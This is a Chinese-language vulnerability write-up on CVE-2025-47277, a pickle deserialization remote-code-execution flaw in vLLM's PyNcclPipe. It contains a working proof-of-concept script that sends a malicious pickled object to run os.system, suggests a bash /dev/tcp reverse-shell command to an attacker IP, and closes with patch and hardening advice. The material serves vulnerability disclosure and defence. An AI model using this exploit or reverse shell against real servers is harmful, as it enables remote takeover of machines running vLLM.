漏洞描述

CVE-2025-47277 是 vLLM 项目中的一个 **远程代码执行（RCE）**漏洞，源于其使用PyNcclPipe模块时，未经验证地反序列化来自网络的数据，攻击者可通过构造恶意 pickle 数据包，在服务器端执行任意代码。该漏洞严重性等级为 Critical。

影响范围

漏洞环境搭建

可以在本地搭建一个复现环境：

• Python ≥ 3.8
• vLLM == 0.8.3（或受影响版本）
• PyTorch

from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig

config=KVTransferConfig(
kv_ip="127.0.0.1",
kv_port=8888,
kv_rank=0,
kv_parallel_size=1,
kv_buffer_size=1024,
kv_buffer_device="cpu"
)

p=PyNcclPipe(config=config,local_rank=0)
p.recv_tensor() 

代码解读

from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig

PyNcclPipe：vLLM 的分布式 KV 缓存传输模块，用于节点之间传输 tensor 数据。

KVTransferConfig：用于配置 KV 缓存传输参数，例如端口、IP、rank 等

config = KVTransferConfig(
    kv_ip="127.0.0.1",
    kv_port=8888,
    kv_rank=0,
    kv_parallel_size=1,
    kv_buffer_size=1024,
    kv_buffer_device="cpu"
)

kv_ip：本地监听 IP，接收其他节点发来的 tensor 数据。127.0.0.1 代表只监听本地（攻击时需开放公网 IP）。

kv_port：网络监听端口（服务端口），攻击者通过该端口发送恶意数据。

kv_rank：当前节点在分布式系统中的编号，0 表示主节点。

kv_parallel_size：并行传输的节点数量，这里设为 1，表示单连接通信。

kv_buffer_size：每次接收 tensor 的 buffer 大小。

kv_buffer_device：buffer 存储设备，设为 "cpu" 表示张量数据缓存在 CPU 上。

p = PyNcclPipe(config=config, local_rank=0)

创建一个 PyNcclPipe 对象，它封装了底层 TCP 通信逻辑，用于从其他节点接收数据。local_rank=0 表示当前节点在通信中的本地编号。

p.recv_tensor()

这是漏洞的触发点！recv_tensor() 内部会调用 recv_obj() 来从 socket 中接收序列化对象。

漏洞分析

在pynccl_pipe.py中调用了recv_obj()方法

而recv_obj()方法中刚好对传入的字符串进行pickle反序列化

漏洞复现

攻击脚本

from vllm.distributed.utils import StatelessProcessGroup

class Evil:
    def __reduce__(self):
        import os
        cmd='whoami'
        return (os.system,(cmd,))

client = StatelessProcessGroup.create(
    host='127.0.0.1',
    port=18888,
    rank=1,
    world_size=2,
)

client.send_obj(obj=Evil(),dst=0)

代码分段解读：

from vllm.distributed.utils import StatelessProcessGroup

这里引入 StatelessProcessGroup，这是 vLLM 中用于节点间通信的一个工具类，封装了 TCP 通信逻辑。

class Evil:
    def __reduce__(self):
        import os
        cmd = 'whoami'
        return (os.system, (cmd,))

这是攻击的核心：

__reduce__() 是 Python pickle 模块在反序列化对象时调用的特殊方法。它的返回值告诉 pickle.loads() 如何还原一个对象。这里它返回的是 (os.system, ('whoami',))，反序列化时会执行 os.system('whoami')。这里可以把 'whoami' 换成任意命令，例如 bash -i >& /dev/tcp/attacker_ip/port 0>&1 以反弹 shell。

client = StatelessProcessGroup.create(
    host='127.0.0.1',
    port=18888,
    rank=1,
    world_size=2,
)

这行代码创建了一个客户端通信节点：host：目标服务监听地址（本地测试用 127.0.0.1），port：目标服务监听端口（通常为服务端的 KV 服务端口），rank：当前通信节点的编号（1 表示攻击节点），world_size：分布式训练的总节点数（2 表示 2 个节点通信）

这个接口实际上是将攻击者作为一个“合法”节点加入通信组。

client.send_obj(obj=Evil(), dst=0)

通过 send_obj() 向 rank=0 的节点发送序列化后的 Evil 对象。服务端在执行 recv_obj() 时，会执行 pickle.loads() 对这个对象反序列化。从而触发 Evil.__reduce__()，间接调用 os.system('whoami')。

运行后，目标机器会执行whoami命令，在实战环境下可以反弹shell

漏洞修复

vLLM 在 0.8.5 版本中已修复此漏洞：

修复内容：

• 强制TCPStore使用指定私有地址进行绑定（防止监听所有接口）
• 改进通信逻辑，防止未经校验的pickle.loads被直接调用

防护建议：

• 升级 vLLM 至 ≥ 0.8.5
• 使用防火墙阻止来自不受信任源的连接（如仅允许 10.x 或 192.168.x IP）
• 切换到 V1 引擎，其不使用该模块
• 使用安全消息格式（如 JSON、protobuf），禁止pickle用于跨网络通信

参考文章

• github.com：https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv
• github.com：https://github.com/vllm-project/vllm/pull/15988
• github.com：https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7
• docs.vllm.ai：https://docs.vllm.ai/en/latest/deployment/security.html